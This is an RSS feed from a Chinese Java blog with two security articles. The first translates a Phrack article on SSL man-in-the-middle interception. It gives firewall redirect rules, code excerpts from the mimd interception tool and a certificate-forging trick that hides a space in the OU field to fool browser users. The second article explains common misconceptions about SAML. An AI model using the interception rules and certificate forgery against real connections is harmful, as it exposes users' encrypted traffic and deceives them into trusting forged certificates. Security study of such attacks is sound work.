﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-kapok-随笔分类-Web Services</title><link>http://www.blogjava.net/kapok/category/2719.html</link><description>垃圾桶,嘿嘿，我藏的这么深你们还能找到啊，真牛！</description><language>zh-cn</language><lastBuildDate>Wed, 28 Feb 2007 01:58:49 GMT</lastBuildDate><pubDate>Wed, 28 Feb 2007 01:58:49 GMT</pubDate><ttl>60</ttl><item><title>SSL※ X509</title><link>http://www.blogjava.net/kapok/archive/2005/09/29/14377.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Thu, 29 Sep 2005 01:40:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/29/14377.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/14377.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/29/14377.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/14377.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/14377.html</trackback:ping><description><![CDATA[作者：Stealth <BR>翻译：nixe0n <BR><BR><A href="http://www.linuxbyte.net/view.php?skin=art&amp;ID=3320">http://www.linuxbyte.net/view.php?skin=art&amp;ID=3320</A><BR><BR><BR>简介 <BR><BR><BR>SSLv3的当前版本是3.1版，也被称为TLS。它提供了一种机制，在网络上进行安全的数据传输。它据说能够满足所有的安全需要，比如：你的银行帐户管理。 <BR><BR>但是在这里我将告诉你，这实际上是不可能的。 <BR><BR>在本文中，我首先将对SSL做一些介绍，这是非常重要的。不过，这里我们不会介绍诸如SSL是怎样实现连接的等深层问题，如果有兴趣，可以自己参考参考资料。 <BR><BR><BR><BR>1.为什么使用SSL <BR><BR><BR>SSL是为了实现网络数据传输中的如下目的设计的： <BR><BR><BR><BR>机密性 <BR><BR>这是通过对数据进行加密实现的，在进行SSL握手时，SSL选择一种对称算法对数据进行加密，然后才在网络上传输数据。SSL使用的加密算法有好多种，如果某种算法被新的网络攻击方法识破，它只要选择另外的算法就可以了。 <BR><BR><BR>消息的完整性 <BR><BR>SSL使用一种很健壮的信息验证码(Message Authentication Code)，例如：SHA-1，验证码被放在数据包的后部，并且和数据一块被加密。这样，如果数据被修改，其散列值就无法和原来的验证码匹配，从而能够检测出数据是否被修改。MAC同时也被用于保护SSL连接免受干扰。 <BR><BR><BR><BR>保护数据免受重放攻击(replay-attack) <BR><BR>SSL使用序列号来保护通讯方免受报文重放攻击。这个序列号被加密后作为数据包的负载。在整个SSL握手中中，都有一个唯一的随机数来标记这个SSL握手，这样重放便无机可乘。 <BR><BR><BR>免受recorder攻击(reorder-attack) <BR><BR>上面所说的序列号也可以防止攻击者记录数据包并以不同的次序发送。 <BR><BR><BR><BR>端点验证 <BR><BR>使用X509(当前版本是3)证书，SSL支持客户和服务器的验证。关于服务器的连接，我们稍后将深入介绍。 <BR><BR><BR>这听起来似乎很安全，但是看了本文介绍的程序，就就不这么想了。(不过，我们还不能打破客户端的验证) <BR><BR>使用本文介绍的攻击方法，我们就可以看到SSL连接上所有明文数据，根据我们的需要修改传输的数据，对数据进行中继发送，以错误的次序发送甚至丢弃我们不需要的报文。这种攻击方法就是所谓的途中人攻击(man in the middle attack，或者中间人攻击)。 <BR><BR><BR><BR>2.X509数字证书 <BR><BR><BR>X509数字证书是SSL的一个组成部分。在SSL握手过程中，服务器向客户发送自己的数字证书。一个X509数字证书包括发行者的识别名(Distinguished Name)、主体(Subject)的识别名、一个版本号和序列号、选择的算法、密钥的有效期时间窗，还有主体的公钥。 <BR><BR>主体(subject)是这个证书包含实体的名，证书中的公钥属于主体(Subject)。在平常的X509数字证书中，没有标志DNS名的域。通常，CN域被影射为DNS名，但是这只是一个客户和数字证书的实体必须都认可的协议。 <BR><BR>发行者(issuer)是使用自己的私钥签发这个数字证书。它叫做数字证书中心(Certificate Authority,CA)。 <BR><BR>让我们看一个X509数字证书： <BR><BR><BR>stealth@lydia:sslmim&gt; ./cf segfault.net 443|openssl x509 -text <BR>Certificate: <BR>Data: <BR>Version: 1 (0x0) <BR>Serial Number: 1 (0x1) <BR>Signature Algorithm: md5WithRSAEncryption <BR>Issuer: C=EU, ST=segfault, L=segfault, <BR>O=www.segfault.net/Email=crew@segfault.net <BR>Validity <BR>Not Before: Nov 19 01:57:27 2000 GMT <BR>Not After : Apr 5 01:57:27 2028 GMT <BR>Subject: C=EU, ST=segfault, L=segfault, O=www.segfault.net, <BR>CN=www.segfault.net/Email=crew@segfault.net <BR>Subject Public Key Info: <BR>Public Key Algorithm: rsaEncryption <BR>RSA Public Key: (1024 bit) <BR>Modulus (1024 bit): <BR>00:cd:64:2a:97:26:7a:9b:5c:52:5e:9c:9e:b3:a2: <BR>e5:f5:0f:99:08:57:1b:68:3c:dd:22:36:c9:01:05: <BR>e1:e5:a4:40:5e:91:35:8e:da:8f:69:a5:62:cf:cd: <BR>70:dc:ca:d2:d7:92:03:5c:39:2a:6d:02:68:91:b9: <BR>0d:d1:2c:c7:88:cb:ad:be:cc:e2:fa:03:55:a1:25: <BR>47:15:35:8c:d9:78:ef:9f:6a:f6:5f:e6:9a:02:12: <BR>a3:c2:b8:6a:32:0f:1d:9d:7b:2f:65:90:4e:ca:f7: <BR>a0:e4:ae:55:91:09:e4:6e:01:e3:d1:71:1e:60:b1: <BR>83:88:8f:c4:6a:8c:bb:26:fd <BR>Exponent: 65537 (0x10001) <BR>Signature Algorithm: md5WithRSAEncryption <BR>7d:c7:43:c3:71:02:c8:2f:8c:76:9c:f3:45:4c:cf:6d:21:5d: <BR>e3:8f:af:8f:e0:2e:3a:c8:53:36:6b:cf:f6:27:01:f0:ed:ee: <BR>42:78:20:3d:7f:e3:55:1f:8e:f2:a0:8e:1a:1b:e0:76:ad:3e: <BR>a0:fc:5b:ce:a6:c4:32:7b:64:f2:a4:0f:a3:be:a1:0e:a7:ca: <BR>ed:67:39:07:65:6b:cc:e7:5a:9a:b0:3a:f3:5c:1a:18:d4:dd: <BR>8c:8d:5a:9e:a0:63:e0:7d:af:7c:97:7c:89:17:0f:25:2f:a7: <BR>80:d3:02:dc:88:7a:12:64:ec:8a:ff:e4:62:92:2e:7f:75:03: <BR>82:f1 <BR><BR><BR>要点： <BR><BR><BR>Issuer: C=EU, ST=segfault, L=segfault, <BR>O=www.segfault.net/Email=crew@segfault.net <BR><BR><BR>C、ST、L、O和Email构成发行者的识别名(distinguished name,DN)。 <BR><BR><BR>Subject:C=EU, ST=segfault, L=segfault, O=www.segfault.net, <BR>CN=www.segfault.net/Email=crew@segfault.net <BR><BR><BR>证书可以由一个公开的CA签发，或者由自己签发(就是所谓的自签发证书)。在这个例子中的证书就是由自己签发的。 <BR><BR>这是没有被拦截的原始数字证书。后面我们将看一下如果有人拦截连接看起来会怎样。 <BR><BR>当你的浏览器向<A style="COLOR: #003793" href="https://segfault.net/" target=_blank>https://segfault.net</A>的连接时，这个证书会在SSL握手期间进行交换。证书中保存的公钥就被用于会话的加密。 <BR><BR>为了具有pretty good层的安全性，证书应该由一个CA(你自己或者一个公开的CA)签发，客户有这个CA的公钥用于检查这个证书的合法性。如果客户没有这个CA的公钥，浏览器就会提示用户接受还是拒绝这个证书。这对于交互式的客户程序是必须的，不过事实上对于太多的站点发行的证书，客户并没有他们的公钥来检查证书的合法性。对于普通的交互式客户程序(例如：Netscape浏览器)，这种情况就可能造成使SSL连接失去意义。 <BR><BR><BR><BR>3.拦截 <BR><BR><BR>综上所述，X509数字证书是SSL的重要环节。它的任务就是保证客户和服务器之间的会话，并且它使用的密钥是正确的。 <BR><BR>现在，想象一下我们伪装一个证书，并对一个SSL连接进行转发会怎么样。 <BR><BR>这值得一试。我们的座右铭是“teile und herrsche（哪国英文？）”，这里我们必须解决两个问题： <BR><BR><BR><BR>a.劫持连接然后进行转发。 <BR><BR><BR>b.伪造一个数字证书，让客户以为他是和真正的服务器通讯。 <BR><BR><BR>a+b就是通常所说的途中人(man in the middle，又可以叫做中间人)攻击。从理论上X509应该能够阻止这种攻击，但是平常的交互式客户程序(例如：Netscape浏览器)所采取的证书检查方式使这种攻击方式有机可乘。 <BR><BR>第一个问题很好解决，假设我们位于客户和服务器之间，我们只要在我们的防火墙上略施小计(最好是在Linux或者BSD上:P)把连接重定向就可以了，另外我们把自己的程序称为mimd。对于Linux-2.2.x(ipchains)版本的内核，使用如下规则就可以截获https包文，把它们导入输入(input)链: <BR><BR><BR>ipchains -A input -s 0/0 -d 0/0 443 -j REDIRECT 10000 -p tcp <BR><BR><BR>对于Linux-2.4.x内核(iptables)，可以使用如下规则： <BR><BR><BR>iptables -t nat -A OUTPUT -p tcp --sport 1000:3000 -dport 443\ <BR>-j REDIRECT --to-port 10000 <BR><BR><BR>要给出SSL客户的源端口，如果我们忽略了这一点，mimid就会进入一个无限的循环(iptables将会重定向已经重定向的流量)。mimd被绑定到8888端口，它不匹配这条规则。你的物理位置不必位于SSL连接双方中间，位于服务器局域网内或者客户机局域网内就足够了。使用ARP欺诈就可以很好地完成这个工作，甚至连防火墙规则都不必修改。 <BR><BR>有了这些重定向规则，我们就可以着手建立的工具了。目标地址可以使用操作系统的API找到(getsockopt())。这个工具中的NS_Socket::dstaddr()函数在绝大多数操作系统中都可以成功编译。使用这个小程序，我们可以看到通过连接的数据。 <BR><BR>为了使这个小程序能够看到连接的明文数据，我们需要使用SSL_accpet()和SSL_connect()调用。首先，我们需要调用(accept()接受客户程序的连接，接着使用SSL_connect()向真正的服务器发起连接请求。然后，执行真正的SSL_accept()。假设我们已经完成了初始化内容，比如：加载密钥文件等。这时，在客户端，客户程序(例如：浏览器)就会询问用户是否接受这个工具的证书。 <BR><BR>但是，用户显然可以轻松认出这个证书是伪造的，因为他在浏览A公司的网站时，却收到B公司或者途中人的证书，必然会引起他的怀疑。 <BR><BR>下面我们将会解决这个问题。SSL_connect()和SSL_accept()的顺序应该正确，我将对其进行解释。 <BR><BR><BR><BR>4.DCA <BR><BR><BR>如果用户接受伪造的证书，我们就可以使用SSL_read()读出连接的明文数据，并使用SSL_write()把它们转发到真正的服务器。现在我们就着手解决如何伪造证书的问题。 <BR><BR>记住：在SSL_connect()要先于SSL_accept()调用，这样服务器可以把我们看做合法的用户，和我们进行正常的SSL握手，从而我们可以得到服务器的证书。 <BR><BR>下面我们看一下实际的代码： <BR><BR><BR>//阻塞，等待iptables劫持的连接 <BR>while ((afd = accept(sfd, (sockaddr*)&amp;from, &amp;socksize)) &gt;= 0) { <BR><BR>// 获得连接真正的 <BR>// 目的地址 <BR>if (NS_Socket::dstaddr(afd, &amp;dst) &lt; 0) { <BR>log(NS_Socket::why()); <BR>die(NULL); <BR>} <BR><BR>... <BR><BR>++i;//一个全局变量记录被劫持连接的数量 <BR>if (fork() == 0) {//fork出一个进程，由子进程处理被劫持的连接，父进程继续等待连接 <BR><BR>// 成为真正目的服务器的客户 <BR>if ((sfd2 = socket(PF_INET, SOCK_STREAM, 0)) &lt; 0) { <BR>log("main::socket"); <BR>die(NULL); <BR>} <BR><BR><BR>if (NS_Socket::bind_local(sfd2, 8888+i, 0) &lt; 0) { <BR>log(NS_Socket::why()); <BR>die(NULL); <BR>}//把套接字绑定到本地端口，可以同时处理多个连接 <BR><BR><BR>// 向真正的服务器发起连接 <BR>if (connect(sfd2, (struct sockaddr*)&amp;dst, <BR>sizeof(dst)) &lt; 0) { <BR>log("main::connect"); <BR>die(NULL); <BR>} <BR><BR>... <BR><BR>client-&gt;start(); <BR>client-&gt;fileno(sfd2); // 使用sfd2和真正的服务器进行连接 <BR><BR>// 进行SSL握手以建立SSL连接 <BR>if (client-&gt;connect() &lt; 0) { <BR>log("Clientside handshake failed. Aborting."); <BR>die(NULL); <BR>} <BR><BR><BR>现在，我们和真正服务器之间的SSL握手已经完成。注意，在源代码中，SSL_connect()和SSL_accept()两个函数都被封装到了client和server对象中。现在，我们可以准备自己作为SSL服务器和SSL客户之间的连接了： <BR><BR><BR>// 服务器端 <BR><BR>server-&gt;start(); // 建立SSL对象 <BR>server-&gt;fileno(afd); // 使用afd套接字接受客户连接 <BR><BR><BR>我们进行真正的伪造，调用SSL_accept()： <BR><BR><BR>if (enable_dca) <BR>NS_DCA::do_dca(client, server); <BR><BR><BR>动态证书装配(Dynamic Certificate Assembly)函数do_dca()进行如下工作： <BR><BR><BR>给一个几乎是空白的证书(除了C域之外，其它RDN全部为空)，do_dca()使用和服务器进行SSL握手获得的内容填充剩下的RDN域。我们抽取L、ST、O、CN、OU和EMAIL域，把它们放到我们自己的证书，然后把这个证书显示给SSL客户。为了完成这个工作，do_dca()使用了字符串解析(抽取RDN域)，并调用OpenSSL提供的using X509_()函数。 <BR><BR>在证书发行者的OU域(OrganizationalUnit，原来为空)我们填上一个空格，这个空格不会在SSL客户程序的窗口中显示出来，但是可以把伪造的新证书和来自公共CA的证书区别开。当这个伪造的证书到达SSL客户程序之后，客户程序就会提示用户是否接收这个证书，用户看来这个证书来自一个已知的可信任的CA(实际上，OU域多了一个空格:P，但是用户看不出来)，而对于SSL客户程序来说，它知道这个证书不是来自用户看到的CA(差一个空格呢:P)，因此找不到这个CA的公钥，只好提示用户，让用户定夺是否接受这个证书。这时，被愚弄的用户一般会接受这个证书。 <BR><BR>现在我们可以修改发行者的subject域(CN...)，把前面的X509证书变成自签发(self-signed)证书。用户无法知道自签发证书是伪造的。 <BR><BR><BR>然后，把被重新装配的证书显示给客户： <BR><BR><BR>// do SSL handshake as fake-server <BR>if (server-&gt;accept() &lt; 0) { <BR>log("Serverside handshake failed. Aborting."); <BR>die(NULL); <BR>} <BR><BR>ssl_forward(client, server); <BR><BR><BR>ssl_forward()函数只是循环调用SSL_read/SSL_write函数，记录传输的明文数据。我们也可以随心所欲地修改传递的数据。 <BR><BR>下面在mimd激活之后(没有使用-I选项)，我们使用cf取回来自https服务器的X509证书： <BR><BR><BR>stealth@lydia:sslmim&gt; ./cf segfault.net 443|openssl x509 -text <BR>Certificate: <BR>Data: <BR>Version: 3 (0x2) <BR>Serial Number: 1 (0x1) <BR>Signature Algorithm: md5WithRSAEncryption <BR>Issuer: C=US, C=EU, ST=segfault, L=segfault, <BR>O=www.segfault.net, OU= /Email=crew@segfault.net <BR>Validity <BR>Not Before: Mar 20 13:42:12 2001 GMT <BR>Not After : Mar 20 13:42:12 2002 GMT <BR>Subject: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net, <BR>CN=www.segfault.net/Email=crew@segfault.net <BR>Subject Public Key Info: <BR>Public Key Algorithm: rsaEncryption <BR>RSA Public Key: (1024 bit) <BR>Modulus (1024 bit): <BR>00:d4:4f:57:29:2c:a0:5d:2d:af:ea:09:d6:75:a3: <BR>e5:b6:db:41:d7:7f:b7:da:52:af:d1:a7:b8:bb:51: <BR>94:75:8d:d4:c4:88:3f:bf:94:b1:a9:9a:f8:55:aa: <BR>0d:11:d6:8f:8c:8b:5b:b5:db:03:18:7e:7a:d7:3b: <BR>b0:24:a9:d6:ba:9a:a7:bb:9b:ba:78:50:65:4b:21: <BR>94:6f:83:d4:de:16:e4:8b:03:f2:97:f0:0b:9b:55: <BR>ed:aa:d2:c3:ee:66:55:10:ba:59:4d:f0:9d:4e:d4: <BR>b5:52:ff:8c:d9:75:c2:ae:49:be:63:57:b9:48:36: <BR>ca:c2:07:9d:ba:32:ff:d6:e7 <BR>Exponent: 65537 (0x10001) <BR>X509v3 extensions: <BR>X509v3 Subject Key Identifier: <BR>4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD <BR>X509v3 Authority Key Identifier: <BR>keyid:4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD <BR>DirName:/C=US <BR>serial:00 <BR><BR>X509v3 Basic Constraints: <BR>CA:TRUE <BR>Signature Algorithm: md5WithRSAEncryption <BR>b7:7d:5a:c7:73:19:66:aa:89:25:7c:f6:bc:fd:7d:82:1a:d0: <BR>ac:76:93:72:db:2d:f6:3b:e0:88:5f:1d:6e:7c:25:d7:a2:de: <BR>86:28:38:90:cf:fe:38:a0:1f:67:87:37:8b:2c:f8:65:57:de: <BR>d1:4c:67:55:af:ca:4c:ae:7b:13:f2:6f:b6:64:f6:aa:7f:28: <BR>8b:2f:21:07:8f:6d:7e:0c:3f:17:b1:69:3a:ea:c0:fb:a2:aa: <BR>f9:d6:a6:05:6d:77:e1:e6:f0:12:a3:e6:ca:2a:73:33:f2:91: <BR>e1:72:c8:83:84:48:fa:fe:98:6c:d4:5a:ab:98:b2:2e:3c:8a: <BR>eb:f2 <BR><BR><BR>比较激活mimd前后两个证书，你可以发现两个证书的公钥是不同的，后面这个证书的公钥实际是mimd自己的公钥。C域包含US和EU，这些信息会在Netscape浏览器中显示，和原来的证书没有什么不同。注意到这个证书的OU域了吗？原来的证书并没有这个域，而新的证书中这个域的是一个空格。新证书的发行者信息是来自原来的数字证书。这个证书不再是由某个公开CA签发的，变成了一个自签发(self-signed)的证书。 <BR><BR>下面我们使用-I选项重新启动mimd，这次我们使用被截获证书的Subject来填充伪造证书的Issuer，使伪造证书变成自签发证书。 <BR><BR><BR>stealth@lydia:sslmim&gt; ./cf segfault.net 443|openssl x509 -text <BR>Certificate: <BR>Data: <BR>Version: 3 (0x2) <BR>Serial Number: 1 (0x1) <BR>Signature Algorithm: md5WithRSAEncryption <BR>Issuer: C=US, C=EU, ST=segfault, L=segfault, <BR>O=www.segfault.net, OU= , CN=www.segfault.net/Email=crew@segfault.net <BR>Validity <BR>Not Before: Mar 20 13:42:12 2001 GMT <BR>Not After : Mar 20 13:42:12 2002 GMT <BR>Subject: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net, <BR>CN=www.segfault.net/Email=crew@segfault.net <BR>Subject Public Key Info: <BR>Public Key Algorithm: rsaEncryption <BR>RSA Public Key: (1024 bit) <BR>Modulus (1024 bit): <BR>00:d4:4f:57:29:2c:a0:5d:2d:af:ea:09:d6:75:a3: <BR>e5:b6:db:41:d7:7f:b7:da:52:af:d1:a7:b8:bb:51: <BR>94:75:8d:d4:c4:88:3f:bf:94:b1:a9:9a:f8:55:aa: <BR>0d:11:d6:8f:8c:8b:5b:b5:db:03:18:7e:7a:d7:3b: <BR>b0:24:a9:d6:ba:9a:a7:bb:9b:ba:78:50:65:4b:21: <BR>94:6f:83:d4:de:16:e4:8b:03:f2:97:f0:0b:9b:55: <BR>ed:aa:d2:c3:ee:66:55:10:ba:59:4d:f0:9d:4e:d4: <BR>b5:52:ff:8c:d9:75:c2:ae:49:be:63:57:b9:48:36: <BR>ca:c2:07:9d:ba:32:ff:d6:e7 <BR>Exponent: 65537 (0x10001) <BR>X509v3 extensions: <BR>X509v3 Subject Key Identifier: <BR>4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD <BR>X509v3 Authority Key Identifier: <BR>keyid:4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD <BR>DirName:/C=US <BR>serial:00 <BR><BR>X509v3 Basic Constraints: <BR>CA:TRUE <BR>Signature Algorithm: md5WithRSAEncryption <BR>b7:7d:5a:c7:73:19:66:aa:89:25:7c:f6:bc:fd:7d:82:1a:d0: <BR>ac:76:93:72:db:2d:f6:3b:e0:88:5f:1d:6e:7c:25:d7:a2:de: <BR>86:28:38:90:cf:fe:38:a0:1f:67:87:37:8b:2c:f8:65:57:de: <BR>d1:4c:67:55:af:ca:4c:ae:7b:13:f2:6f:b6:64:f6:aa:7f:28: <BR>8b:2f:21:07:8f:6d:7e:0c:3f:17:b1:69:3a:ea:c0:fb:a2:aa: <BR>f9:d6:a6:05:6d:77:e1:e6:f0:12:a3:e6:ca:2a:73:33:f2:91: <BR>e1:72:c8:83:84:48:fa:fe:98:6c:d4:5a:ab:98:b2:2e:3c:8a: <BR>eb:f2 <BR><BR><BR>比较这两个伪造的证书，你会发现后面这个的Issuer中包含CN域，这是为了加强伪造的效果:P。 <BR><BR><BR><BR>结论 <BR><BR><BR>综上所述，使用交互式客户程序在网络上冲浪的用户无法知道遭到了途中人攻击，因为他们无法分辨公司使用未知的CA(company uses unknown CA)的提示信息是真的还是自己遭到了途中人攻击。而且，即使他以前曾经浏览过这个站点并保存了它的数字证书，也仍然可能掉入圈套(还记得OU域的空格吗？:P)。对于一些机警的用户，把伪造的证书变成自签发证书将会打消他们的疑虑。 <BR><BR>本文使用separate-ports的方式断开了SSL连接，但是在一种情况下(upward negotiation)无法使用mimd。SSL使用一个关键词把前面的明文数据流变成SSL数据流传输。这个问题使用MSG_PEEK可能可以解决，他们(作者)正在研究呢:P <BR><BR><BR><BR>参考 <BR><BR><BR>[1] "SSL and TLS" Designing and Building Secure Systems <BR>Eric Rescorla, AW 2001 <BR><BR>A must-read if you want/need to know how SSL works. <BR><BR>[2] "Angewandte Kryptographie" <BR>Bruce Schneier, AW 1996 <BR><BR>THE book for crypto-geeks. I read the german version, <BR>in english its Applied Cryptographie <BR><BR>[2] various openssl c-files and manpages <BR><BR>[3] <A style="COLOR: #003793" href="http://www.cs.uni-potsdam.de/homepages/students/linuxer/sslmim.tar.gz" target=_blank>http://www.cs.uni-potsdam.de/homepages/students/linuxer/sslmim.tar.gz</A> <BR>A DCA implementation, described in this article; <BR>also contains cf tool. <BR><BR>[4] In case you cannot try mimd on your local box, view <BR>a snapshot from a mim-ed session provided by TESO: <BR><A style="COLOR: #003793" href="http://www.team-teso.net/ssl-security.png" target=_blank>http://www.team-teso.net/ssl-security.png</A> <BR><BR><BR>原文来源：Haaaang on snoopy, snoopy hang on. (SSL for fun and profit) phrack Volume 0x0b, Issue 0x39 <BR><img src ="http://www.blogjava.net/kapok/aggbug/14377.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-29 09:40 <a href="http://www.blogjava.net/kapok/archive/2005/09/29/14377.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>了解安全性断言标记语言</title><link>http://www.blogjava.net/kapok/archive/2005/09/29/14372.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Thu, 29 Sep 2005 01:20:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/29/14372.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/14372.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/29/14372.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/14372.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/14372.html</trackback:ping><description><![CDATA[<SPAN class=atitle2>了解安全性断言标记语言</SPAN><BR>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR vAlign=top align=left>
<TD>
<P>级别: 中级</P></TD></TR></TBODY></TABLE>
<P><A href="http://www-128.ibm.com/developerworks/cn/xml/x-samlmyth/">http://www-128.ibm.com/developerworks/cn/xml/x-samlmyth/</A><BR><A href="http://www-128.ibm.com/developerworks/cn/xml/x-samlmyth/#author1"><NAME><BR>Frank Cohen</NAME></A><BR>创始人, PushToTest<BR>2003 年 10 月 </P>
<BLOCKQUOTE>2003 年初，OASIS 小组批准了安全性断言标记语言（Security Assertion Markup Language，SAML）规范。由于来自 25 家公司的 55 名专家参与了该规范的制定，因此人们会认为 SAML 能做任何事情，并且能被很好地理解。但事实并非如此，软件开发社区存在着很多对 SAML 的误解。在本文中，Frank Cohen 详细说明并澄清了有关 SAML 的很多不实说法和误解。</BLOCKQUOTE>
<P>作为一个新生事物，新的安全性断言标记语言（SAML）规范正在被人们拿来与现有的单点登录技术、认证服务和目录服务进行比较。SAML 是第一个可能成为多个认证协议的规范以利用 Web 基础结构（在这种 Web 基础结构中，XML 数据在 TCP/IP 网络上通过 HTTP 协议传送）。</P>
<P>OASIS 小组开发 SAML 的目的是作为一种基于 XML 的框架，用于交换安全性信息。SAML 与其它安全性方法的最大区别在于它以有关多个主体的断言的形式来表述安全性。其它方法使用中央认证中心来发放证书，这些证书保证了网络中从一点到另一点的安全通信。利用 SAML，网络中的任何点都可以断言它知道用户或数据块的身份。然后由接收应用程序作出决定，如果它信任该断言，则接受该用户或数据块。任何符合 SAML 的软件然后都可以断言对用户或数据的认证。对于即将出现的业务工作流 Web 服务标准（在该标准中，安全的数据需要流经几个系统才能完成对事务的处理）而言，这很重要。</P>
<P>尽管 SAML 刚刚被批准没多久，但是却有许多有关 SAML 的不实说法和误解要澄清。我认为，如果您真正了解了当今的某个新兴标准，那么它肯定已经过时了。</P>
<P>本文讨论了有关 SAML 的一些比较常见的不实说法和误解。</P>
<P><A name=0><SPAN class=atitle2>误解：SAML 是一个完整的身份管理解决方案。</SPAN></A><BR>SAML 作为身份管理解决方案中服务器之间的通信协议发挥了重要作用；但是，SAML 并不是完整的解决方案。在信息系统安全性领域，近来出现的 <B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">身份管理</B>是一个新术语，它涵盖了下面这些计算领域： </P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">
<LI><B>准备（provisioning）</B>— 将新用户添加到企业内部信息系统和外部合作伙伴信息系统的网络操作系统目录和应用程序服务器目录中。 
<LI><B>密码管理</B>— 使用户能够用一组凭证登录到公司的信息系统。此外，使用户能够自己管理其密码、用户帐户数据和特权。 
<LI><B>访问控制</B>— 使系统能够识别用户组的安全性策略。例如，某项安全性策略防止某个人更改他或她的职位，但能将职位更改请求发送给具有相应权限的人。 </LI></UL>
<P>SAML 是两台服务器需要共享认证信息时使用的协议规范。SAML 规范中没有任何内容提供了实际的认证服务，认证服务是由商业目录服务器提供的。</P>
<P><A name=1><SPAN class=atitle2>不实说法：企业之间的 Web 单点登录很好理解并且易于实现。</SPAN></A><BR>SAML 是旨在减少构建和操作信息系统（这些系统在许多服务提供者之间相互操作）所花费成本的众多尝试之一。在当今竞争激烈且迅速发展的环境中，出现了通过浏览器和支持 Web 的应用程序为用户提供互操作性的企业联合。例如，旅游网站允许用户不必进行多次登录即可预订机票和租车。今天，一大群软件开发人员、QA 技术人员和 IT 经理都需要处理复杂的和不可靠的后端系统，这些系统提供了企业之间的联合安全性。</P>
<P>在典型的支持 Web 的基础结构中，运行业界领先的企业系统的软件需要处理权限服务器之间的浏览器重定向、服务器域之间的 HTTP post 命令、公钥基础结构（public key infrastructure，PKI）加密和数字证书，以及声明任何给定用户或组的信任级别的相互同意（mutually agreed-upon）机制。SAML 向软件开发人员展示了如何表示用户、标识所需传送的数据，并且定义了发送和接收权限数据的过程。</P>
<P><A name=2><SPAN class=atitle2>不实说法：SAML 是一个复杂的设计。</SPAN></A><BR>SAML 为那些需要在 Web 基础结构（XML/HTTP/TCP）上设计和构建可伸缩联合系统的系统架构设计师提供了一个蓝图。即使您决定不使用 SAML，但 SAML 规范还是回答了许多设计问题，这些问题是任何系统架构设计师在构建可互操作的且支持 Web 的系统时必须回答的。</P>
<P>作为一个示例，请考虑用来将权限请求编码成 XML 请求的 SAML 断言机制。SAML 定义了六类语句：</P>
<P><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">认证（Authentication）：</B>主体已登录。例如，用于认证的 SAML 断言看起来可能象下面这样： </P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>
fcohen@pushtotest.com logged in at 2003-02-06T19:22:09Z
</CODE></PRE></TD></TR></TBODY></TABLE>
<P><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">属性（Attribute）：</B>标识主体的特性。例如，fcohen@pushtotest.com 拥有 Admin 角色。 </P>
<P><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">权限决定（Authorization decision）：</B>声明允许某个主体对某个资源执行操作。例如，fcohen@pushtotest.com 被授权 <CODE>GET </CODE>http://www.pushtotest.com/ptt/kits/index.html。 </P>
<P><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">断言属性（Assertion attribute）：</B>一个可选机制，使行业团体能够定义特定于其行业的属性。 </P>
<P>此外，SAML 定义了由某个断言中的语句共享的断言的属性，包括：</P>
<P><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">版本属性（Version attribute）：</B>标识了断言所遵循的 SAML 规范的主版本和次版本。 </P>
<P>SAML 还定义了可选的 <B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">条件元素</B>以限制权限请求的有效性。例如，如果 SAML 标记 <CODE>NotBefore</CODE> 或 <CODE>NotOnOrAfter</CODE> 指定的以 UTC 编码的日期，那么它可能是有效的。 </P>
